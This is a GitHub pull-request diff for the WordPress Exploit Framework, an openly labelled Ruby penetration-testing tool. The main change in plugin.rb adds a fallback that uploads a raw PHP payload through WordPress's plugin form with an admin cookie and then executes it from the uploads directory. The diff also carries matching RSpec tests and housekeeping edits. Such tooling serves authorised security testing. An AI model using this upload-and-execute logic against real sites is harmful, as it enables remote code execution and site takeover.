Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
4 changes: 2 additions & 2 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -30,7 +30,7 @@ sudo apt-get install build-essential patch
It’s possible that you don’t have important development header files installed on your system. Here’s what you should do if you should find yourself in this situation:

```
sudo apt-get install ruby-dev zlib1g-dev liblzma-dev
sudo apt-get install ruby-dev zlib1g-dev liblzma-dev libsqlite3-dev
```

#### Windows Systems
Expand Down Expand Up @@ -95,7 +95,7 @@ Exploit modules require you to specify a payload which subsequently gets execute
All these payloads, with the exception of `custom` and the Meterpreter payloads, will delete themselves after they have been executed, to avoid leaving them lying around on the target machine after use or in the event that they are being used to establish a shell which fails.

### How can I write my own modules and payloads?
Guides on writing modules and payloads can be found on [The Wiki](https://github.com/rastating/wordpress-exploit-framework/wiki) and full documentation of the API can be found at http://www.getwpxf.com/.
Guides on writing modules and payloads can be found on [The Wiki](https://github.com/rastating/wordpress-exploit-framework/wiki) and full documentation of the API can be found at https://rastating.github.io/wordpress-exploit-framework

## License
Copyright (C) 2015-2018 rastating
Expand Down
2 changes: 1 addition & 1 deletion data/json/commands.json
Original file line number Diff line number Diff line change
Expand Up @@ -94,7 +94,7 @@
},
{
"cmd": "use [module_path]",
"desc": "Loads the specified module into the current context."
"desc": "Load the specified module into the current context."
},
{
"cmd": "workspace",
Expand Down
1 change: 1 addition & 0 deletions lib/wpxf/utility/body_builder.rb
Original file line number Diff line number Diff line change
Expand Up @@ -71,6 +71,7 @@ def create
private

def _cleanup_temp_files(fields)
return if fields.nil?
fields.each { |_k, v| v.close if v.is_a?(File) }
FileUtils.rm_rf @temp_dir.to_s
end
Expand Down
64 changes: 49 additions & 15 deletions lib/wpxf/wordpress/plugin.rb
Original file line number Diff line number Diff line change
Expand Up @@ -21,6 +21,18 @@ def upload_payload_as_plugin(name, payload_name, cookie)
return false if nonce.nil?

res = _upload_plugin(name, payload_name, cookie, nonce)
res&.code == 200 && res.body !~ /plugin installation failed/i
end

# Upload the payload via the plugin form without packaging it in a ZIP file.
# @param payload_name [String] the name the payload should use on the server.
# @param cookie [String] a valid admin session cookie.
# @return [Boolean] true on success, false on error.
def upload_payload_using_plugin_form(payload_name, cookie)
nonce = fetch_plugin_upload_nonce(cookie)
return false if nonce.nil?

res = _upload_plugin(nil, payload_name, cookie, nonce, false)
res&.code == 200
end

Expand All @@ -30,18 +42,16 @@ def upload_payload_as_plugin(name, payload_name, cookie)
# @param cookie [String] a valid admin session cookie.
# @return [HttpResponse, nil] the {Wpxf::Net::HttpResponse} of the request.
def upload_payload_as_plugin_and_execute(plugin_name, payload_name, cookie)
unless upload_payload_as_plugin(plugin_name, payload_name, cookie)
emit_error 'Failed to upload the payload'
return nil
end
uploaded_as_plugin = upload_payload_as_plugin(plugin_name, payload_name, cookie)

payload_url = normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php")
emit_info "Executing the payload at #{payload_url}..."
res = execute_get_request(url: payload_url)
unless uploaded_as_plugin
unless upload_payload_using_plugin_form(payload_name, cookie)
emit_error 'Failed to upload the payload'
return nil
end
end

has_body = res&.code == 200 && !res.body.strip.empty?
emit_success "Result: #{res.body}" if has_body
res
_execute_payload_uploaded_as_plugin(uploaded_as_plugin ? plugin_name : nil, payload_name)
end

# Generate a valid WordPress plugin header / base file.
Expand All @@ -61,15 +71,33 @@ def generate_wordpress_plugin_header(plugin_name)

private

def _payload_url(plugin_name, payload_name)
if plugin_name.nil?
normalize_uri(wordpress_url_uploads, Time.now.strftime('%Y'), Time.now.strftime('%m'), "#{payload_name}.php")
else
normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php")
end
end

def _execute_payload_uploaded_as_plugin(plugin_name, payload_name)
payload_url = _payload_url(plugin_name, payload_name)
emit_info "Executing the payload at #{payload_url}..."
res = execute_get_request(url: payload_url)

has_body = res&.code == 200 && !res.body.strip.empty?
emit_success "Result: #{res.body}" if has_body
res
end

def _generate_wordpress_plugin_version
"#{Wpxf::Utility::Text.rand_numeric(1)}."\
"#{Wpxf::Utility::Text.rand_numeric(1)}."\
"#{Wpxf::Utility::Text.rand_numeric(2)}"
end

# Build the body and return the response of the request.
def _upload_plugin(plugin_name, payload_name, cookie, nonce)
builder = _plugin_upload_builder(plugin_name, payload_name, nonce)
def _upload_plugin(plugin_name, payload_name, cookie, nonce, create_zip = true)
builder = _plugin_upload_builder(plugin_name, payload_name, nonce, create_zip)
builder.create do |body|
return execute_post_request(
url: wordpress_url_admin_update,
Expand All @@ -90,13 +118,19 @@ def _plugin_files(plugin_name, payload_name)
end

# A {BodyBuilder} with the required fields to upload a plugin.
def _plugin_upload_builder(plugin_name, payload_name, nonce)
zip_fields = _plugin_files(plugin_name, payload_name)
def _plugin_upload_builder(plugin_name, payload_name, nonce, create_zip = true)
builder = Wpxf::Utility::BodyBuilder.new
builder.add_field('_wpnonce', nonce)
builder.add_field('_wp_http_referer', wordpress_url_plugin_upload)
builder.add_zip_file('pluginzip', zip_fields, "#{plugin_name}.zip")
builder.add_field('install-plugin-submit', 'Install Now')

if create_zip
zip_fields = _plugin_files(plugin_name, payload_name)
builder.add_zip_file('pluginzip', zip_fields, "#{plugin_name}.zip")
else
builder.add_file_from_string('pluginzip', payload.encoded, "#{payload_name}.php")
end

builder
end
end
160 changes: 123 additions & 37 deletions spec/lib/wpxf/wordpress/plugin_spec.rb
Original file line number Diff line number Diff line change
Expand Up @@ -20,12 +20,17 @@
subject
end

let(:post_res) { Wpxf::Net::HttpResponse.new(nil) }

before :each do
res = Wpxf::Net::HttpResponse.new(nil)
res.body = body
res.code = code

allow(subject).to receive(:execute_get_request).and_return(res)
allow(subject).to receive(:upload_payload_using_plugin_form).and_call_original
allow(subject).to receive(:execute_post_request).and_return(post_res)
allow(subject).to receive(:emit_error)
end

describe '#fetch_plugin_upload_nonce' do
Expand All @@ -44,64 +49,145 @@
expect(script).to match(/\*\sPlugin\sName:\stest/)
expect(script).to match(/\*\sVersion:\s[0-9]\.[0-9]\.[0-9]{2}/)
expect(script).to match(/\*\sAuthor:\s[a-zA-Z]{10}/)
expect(script).to match(/\*\sAuthor\sURI:\shttp:\/\/[a-zA-Z]{10}\.com/)
expect(script).to match(%r{\*\sAuthor\sURI:\shttp://[a-zA-Z]{10}\.com})
end
end

describe '#wordpress_upload_plugin' do
it 'returns false if an upload nonce cannot be retrieved' do
allow(subject).to receive(:fetch_plugin_upload_nonce).and_return nil
res = subject.upload_payload_as_plugin('test', 'test', 'cookie')
expect(res).to be false
describe '#upload_payload_as_plugin' do
context 'if an upload nonce cannot be retrieved' do
it 'should return false' do
allow(subject).to receive(:fetch_plugin_upload_nonce).and_return nil
res = subject.upload_payload_as_plugin('test', 'test', 'cookie')
expect(res).to be false
end
end

context 'if an upload is successful' do
it 'should return true ' do
allow(subject).to receive(:fetch_plugin_upload_nonce).and_return 'a'
allow(subject).to receive(:execute_post_request) do |opts|
expect(opts[:url]).to eq subject.wordpress_url_admin_update
expect(opts[:params]).to eq('action' => 'upload-plugin')
expect(opts[:cookie]).to eq 'cookie'
expect(opts[:body]).to include(
'_wpnonce',
'_wp_http_referer',
'pluginzip',
'install-plugin-submit'
)

res = Wpxf::Net::HttpResponse.new(nil)
res.code = 200
res
end

res = subject.upload_payload_as_plugin('test', 'test', 'cookie')
expect(res).to be true
end
end

it 'returns true if an upload is successful' do
allow(subject).to receive(:fetch_plugin_upload_nonce).and_return 'a'
allow(subject).to receive(:execute_post_request) do |opts|
expect(opts[:url]).to eq subject.wordpress_url_admin_update
expect(opts[:params]).to eq('action' => 'upload-plugin')
expect(opts[:cookie]).to eq 'cookie'
expect(opts[:body]).to include(
'_wpnonce',
'_wp_http_referer',
'pluginzip',
'install-plugin-submit'
)

res = Wpxf::Net::HttpResponse.new(nil)
res.code = 200
res
context 'if the response code is not 200' do
it 'should return false' do
allow(subject).to receive(:fetch_plugin_upload_nonce).and_return 'a'
post_res.code = 404
res = subject.upload_payload_as_plugin('test', 'test', 'cookie')
expect(res).to be false
end
end
end

res = subject.upload_payload_as_plugin('test', 'test', 'cookie')
expect(res).to be true
describe '#upload_payload_using_plugin_form' do
context 'if an upload nonce cannot be retrieved' do
it 'should return false' do
allow(subject).to receive(:fetch_plugin_upload_nonce).and_return nil
res = subject.upload_payload_using_plugin_form('test', 'cookie')
expect(res).to be false
end
end

it 'returns false if the response code is not 200' do
allow(subject).to receive(:fetch_plugin_upload_nonce).and_return 'a'
allow(subject).to receive(:execute_post_request) do
res = Wpxf::Net::HttpResponse.new(nil)
res.code = 404
res
context 'if an upload is successful' do
it 'should return true ' do
allow(subject).to receive(:fetch_plugin_upload_nonce).and_return 'a'
allow(subject).to receive(:execute_post_request) do |opts|
expect(opts[:url]).to eq subject.wordpress_url_admin_update
expect(opts[:params]).to eq('action' => 'upload-plugin')
expect(opts[:cookie]).to eq 'cookie'
expect(opts[:body]).to include(
'_wpnonce',
'_wp_http_referer',
'pluginzip',
'install-plugin-submit'
)

res = Wpxf::Net::HttpResponse.new(nil)
res.code = 200
res
end

res = subject.upload_payload_using_plugin_form('test', 'cookie')
expect(res).to be true
end
end

res = subject.upload_payload_as_plugin('test', 'test', 'cookie')
expect(res).to be false
context 'if the response code is not 200' do
it 'should return false' do
allow(subject).to receive(:fetch_plugin_upload_nonce).and_return 'a'
post_res.code = 404
res = subject.upload_payload_using_plugin_form('test', 'cookie')
expect(res).to be false
end
end
end

describe '#upload_payload_as_plugin_and_execute' do
context 'when the plugin fails to upload' do
it 'returns nil' do
res = subject.upload_payload_as_plugin_and_execute('', '', '')
expect(res).to be_nil
it 'should attempt to upload the unpackaged payload' do
subject.upload_payload_as_plugin_and_execute('plugin_name', 'payload_name', 'cookie')
expect(subject).to have_received(:upload_payload_using_plugin_form)
.with('payload_name', 'cookie')
.exactly(1).times
end

context 'if both upload attempts fail' do
it 'should return nil' do
res = subject.upload_payload_as_plugin_and_execute('', '', '')
expect(res).to be_nil
end

it 'should emit an error' do
subject.upload_payload_as_plugin_and_execute('', '', '')
expect(subject).to have_received(:emit_error)
.with('Failed to upload the payload')
.exactly(1).times
end
end
end

context 'if the payload was not packaged as a plugin' do
it 'should attempt to execute it from the uploads directory' do
expected_url = "http://127.0.0.1/wp/wp-content/uploads/#{Time.now.strftime('%Y')}/#{Time.now.strftime('%m')}/test.php"
allow(subject).to receive(:upload_payload_using_plugin_form).and_return(true)
subject.upload_payload_as_plugin_and_execute('test', 'test', 'cookie')
expect(subject).to have_received(:execute_get_request)
.with(url: expected_url)
end
end

context 'if the payload was packaged as a plugin' do
it 'should attempt to execute it from the plugins directory' do
expected_url = 'http://127.0.0.1/wp/wp-content/plugins/plugin_name/payload_name.php'
allow(subject).to receive(:upload_payload_as_plugin).and_return(true)
subject.upload_payload_as_plugin_and_execute('plugin_name', 'payload_name', 'cookie')
expect(subject).to have_received(:execute_get_request)
.with(url: expected_url)
end
end

context 'when the execution returns status 200' do
let(:code) { 200 }
let(:body) { 'res content' }
it 'emits the response content' do

it 'should emit the response content' do
allow(subject).to receive(:upload_payload_as_plugin).and_return true

emitted_content = false
Expand All @@ -115,7 +201,7 @@
end

context 'when the payload is executed' do
it 'returns the HttpResponse of the payload request' do
it 'should return the HttpResponse of the payload request' do
allow(subject).to receive(:upload_payload_as_plugin).and_return true
res = subject.upload_payload_as_plugin_and_execute('', '', '')
expect(res).to be_kind_of Wpxf::Net::HttpResponse
Expand Down
12 changes: 6 additions & 6 deletions wpxf.gemspec
Original file line number Diff line number Diff line change
Expand Up @@ -2,31 +2,31 @@

Gem::Specification.new do |s|
s.name = 'wpxf'
s.version = '2.0.0'
s.date = '2018-07-14'
s.version = '2.0.1'
s.date = '2018-10-06'
s.summary = 'WordPress Exploit Framework'
s.description = 'A Ruby framework designed to aid in the penetration testing of WordPress systems'
s.authors = ['rastating']
s.email = 'rob@rastating.com'
s.email = 'robert.carr@owasp.org'
s.files = %w[lib db data bin].map { |d| Dir["#{d}/**/*"] }.flatten + ['wpxf.gemspec']
s.homepage = 'https://github.com/rastating/wordpress-exploit-framework'
s.license = 'GPL-3.0'
s.executables << 'wpxf'
s.required_ruby_version = '>= 2.4.4'

s.add_dependency 'colorize', '~> 0.8'
s.add_dependency 'mime-types', '~> 3.1'
s.add_dependency 'mime-types', '~> 3.2'
s.add_dependency 'nokogiri', '~> 1.8'
s.add_dependency 'require_all', '~> 2.0'
s.add_dependency 'rubyzip', '~> 1.2'
s.add_dependency 'sequel', '~> 5.11'
s.add_dependency 'sequel', '~> 5.13'
s.add_dependency 'slop', '~> 4.6'
s.add_dependency 'sqlite3', '~> 1.3'
s.add_dependency 'typhoeus', '~> 1.3'

s.add_development_dependency 'coveralls', '~> 0.8'
s.add_development_dependency 'database_cleaner', '~> 1.7'
s.add_development_dependency 'rspec', '~> 3.7'
s.add_development_dependency 'rspec', '~> 3.8'
s.add_development_dependency 'rspec_sequel_matchers', '~> 0.5'
s.add_development_dependency 'yard', '~> 0.9'
end